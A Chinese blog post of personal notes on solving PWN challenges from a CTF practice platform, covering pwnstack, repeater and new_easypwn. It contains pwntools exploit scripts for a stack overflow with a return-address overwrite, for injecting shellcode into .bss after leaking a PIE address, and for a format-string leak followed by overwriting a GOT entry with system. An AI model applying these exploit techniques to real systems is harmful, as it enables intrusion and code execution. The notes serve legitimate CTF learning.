天生我材必有用,千金散尽还复来。 仰天大笑出门去,我辈岂是蓬蒿人。 大鹏一日同风起,扶摇直上九万里。 十步杀一人,千里不留行。 事了拂衣去,深藏身与名。 安能摧眉折腰事权贵,使我不得开心颜! 且乐生前一杯酒,何须身后千载名? 愿将腰下剑,直为斩楼兰。
 

PWN刷题——攻防世界

攻防世界PWN刷题

pwnstack

from pwn import *

p = process('./pwn2')
#p = remote('61.147.171.105', 63073)
p.recv()
offset = 168
ret = 0x400766
payload = flat(b'a'*offset, p64(ret))
p.sendline(payload)
p.interactive()

repeater

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[32]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+20h] [rbp-10h]
  int i; // [rsp+2Ch] [rbp-4h]

  sub_91B(a1, a2, a3);
  sub_A08();
  v5 = 1192227;
  puts("I can repeat your input.......");
  puts("Please give me your name :");
  memset(byte_202040, 0, sizeof(byte_202040));
  sub_982(byte_202040, 48LL);
  for ( i = 0; i < v5; ++i )
  {
    printf("%s's input :", byte_202040);
    memset(s, 0, sizeof(s));
    read(0, s, 0x40uLL);
    puts("sorry... I can't.....");
    if ( v5 == 3281697 )
    {
      puts("But there is gift for you :");
      printf("%p\n", main);
    }
  }
  return 0LL;
}

image-20250326155336175

RELRO: Full RELRO

  • RELRO(Relocation Read - Only):它是一种保护机制,其作用是增强二进制文件在加载时重定位表的安全性。
  • Full RELRO:意味着整个重定位表在程序加载时就被标记为只读,这样可以防止攻击者改写重定位表,从而抵御基于重定位表的攻击,例如 GOT(Global Offset Table)覆写攻击。

PIE: PIE enabled

  • PIE(Position - Independent Executable):这是一种地址空间布局随机化(ASLR)的扩展,它会在程序每次加载时随机化程序代码段、数据段等的基地址,让攻击者难以预测代码和数据的位置。
  • PIE enabled:表示该二进制文件启用了 PIE 保护,增加了利用漏洞的难度。

思路:

一次写入shellcode到bss段的name,

二次写入覆盖v5改为目标值0x321321,打印出main地址,

计算name地址=偏移地址+name基址=(main地址-main基址)+name基址=main地址-0xa33+0x202040

三次写入覆盖v5为0跳出循环,覆盖目标地址为name地址。

from pwn import *
context.arch = 'amd64'
context.log_level = True
p = process('./repeater')
#p = remote('61.147.171.105', 63073)
shellcode = asm(shellcraft.sh())
#输入shellcode
p.sendlineafter("your name :" ,shellcode)

#此处的偏移量根据ida得到,不一定准确,准确方法回头补
#这个偏移量是两个变量之间的偏移
offset = 0x20
ret = 0x321321
payload = flat(b'a'*offset, p64(ret))
#输入条件值
p.sendlineafter("input :" ,payload)

p.readuntil('for you :\n')
#计算目标地址
bss_addr = 0x202040
main_addr = 0xa33
main_ab = int(p.recvuntil("\n"),16)
bss_ab = main_ab-main_addr+bss_addr
print('main_ab{}, bss_ab{}'.format(hex(main_ab),hex(bss_ab)))

offset1 = 0x20
v5 = 0
#offset2 = 0x30+8-0x20-8
offset2 = 0x10
ret = bss_ab
payload = flat(b'a'*offset1, p64(v5), b'a'*offset2, p64(ret))
#输入条件值
p.sendlineafter("input :" ,payload)
#输入目标跳转
p.interactive()

莫名其妙不行。本地不行,远程可以。。

重新写

from pwn import *

p = process('./repeater')
context(os='linux', arch='amd64', log_level='debug')
shellcode=asm(shellcraft.sh())
p.sendlineafter('name :',shellcode)
#泄露main地址
target=0x321321
payload=flat(b'a'*0x20,p64(target))
p.sendlineafter('input :',payload)
p.recvuntil('you :\n0x')
main_addr = int(p.recv(12),16)
#返回地址改到shellcode
shellcode_addr = main_addr - 0xa33 + 0x202040
payload2 = flat(b'a'*0x20,p64(0x1),b'b'*0x10,p64(shellcode_addr))
p.sendlineafter('input :',payload2)
p.interactive()
from pwn import *

context(os='linux', arch='amd64', log_level='debug')  # 打印调试信息
content = 1  # 本地Pwn通之后,将content改成0,Pwn远程端口


def main():
    if content == 1:
        io = process("./repeater")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 64526)  # 题目的远程端口,注意是remote

    shellcode = asm(shellcraft.sh())  # 构造shellcode
    io.recvuntil("Please give me your name :\n")
    io.sendline(shellcode)  # name存储在.bss段上,通过这里的输入向.bss段上写入shellcode

    payload = b'a' * (0x30 - 0x10) + p64(3281697)  # 栈溢出修改v5的值为3281697
    io.recvuntil("input :")
    io.sendline(payload)

    io.recvuntil("But there is gift for you :\n")
    main_addr = int(io.recvuntil("\n"), 16)  # 保存下程序打印出的main()的真实地址
    base_addr = main_addr - 0x0A33  # 利用main()的真实地址计算出程序的基地址,0x0A33是main()的偏移地址,可以在ida中查看
    ret_addr = base_addr + 0x73e
    shellcode_addr = base_addr + 0x202040  # 利用程序的基地址和写入的shellcode在.bss段上的偏移地址,计算出shellcode存放的真实地址
    # 0x202040是byte_202040在.bss段上的偏移地址,可以在ida中查看 

    io.recvuntil("input :")
    payload = b'a' * (0x30 + 0x08) + p64(ret_addr) + p64(shellcode_addr)  # 再次通过栈溢出让程序跳转到shellcode的位置去执行
    io.sendline(payload)

    io.interactive()


main()

new_easypwn

参考:https://www.cnblogs.com/C0ngvv/p/16656671.html

库要一样,先调试同步环境

patchelf --replace-needed libc.so.6 ./libc-2.23.so hello
patchelf --set-interpreter ./ld-2.23.so hello

确定基址

image-20250329235335831

打断点,运行到printf函数,查看栈中参数,找到有用的参数。

telescope $rsp 20

64位程序前6个参数(0-5)都在寄存器,因此这里第一个是第6个参数(0x556032a0)。

image-20250329223417287

第九个参数可以计算处程序基址。第13个参数可以计算__libc_start_call_main地址。

目标地址写内容

实现覆写GOT表

image-20250329231828163

edit函数这里实现向des地址处写入内容,由于name这里的scanf没有设置读入长度限制,因此这里溢出写入覆盖des处地址实现向目标地址写内容。

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./hello')
libc = ELF('libc-2.23.so')
p = process('./hello')
#电话簿题目
#number	0	0x2020e0
#name	11	0x2020e0+11
#des	24	0x2020f8=0x2020e0+24
#单元长度为32
def Add(phone,name,size,info):
    p.sendlineafter('choice>>','1')
    p.sendlineafter('number:',phone)
    p.sendlineafter('name:',name)
    p.sendlineafter('size:',size)
    p.sendlineafter('info:',info)
def Show(index):
    p.sendlineafter('choice>>','3')
    p.sendlineafter('index:',index)
def Edit(index,phone,name,info):
    p.sendlineafter('choice>>','4')
    p.sendlineafter('index:',index)
    p.sendlineafter('number:',phone)
    p.sendlineafter('name:',name)
    p.sendlineafter('info:',info)
    
#通过printf函数漏洞泄露栈中相关地址
Add('%13$p%9$p','name','12','info')
Show('0')
p.recvuntil('0x')
libc_start_main = int(p.recv(12),16) - 240
p.recvuntil('0x')
elf_base = int(p.recv(12),16) - 0x1274
print(hex(libc_start_main),hex(elf_base))

libc_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
#电话簿题目
#number	0	0x2020e0
#name	11	0x2020e0+11
#des	24	0x2020f8=0x2020e0+24
#单元长度为32
#覆写atoi@got地址为system
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
p.sendlineafter('>>','/bin/sh')
p.interactive()
print(p.recv())

本地库环境都改了,还是不行。。远程就是可以。待研究原因。TODO

pwnCTFM

涉及堆

posted @ 2025-09-04 10:35  gudy  阅读(11)  评论(0)    收藏  举报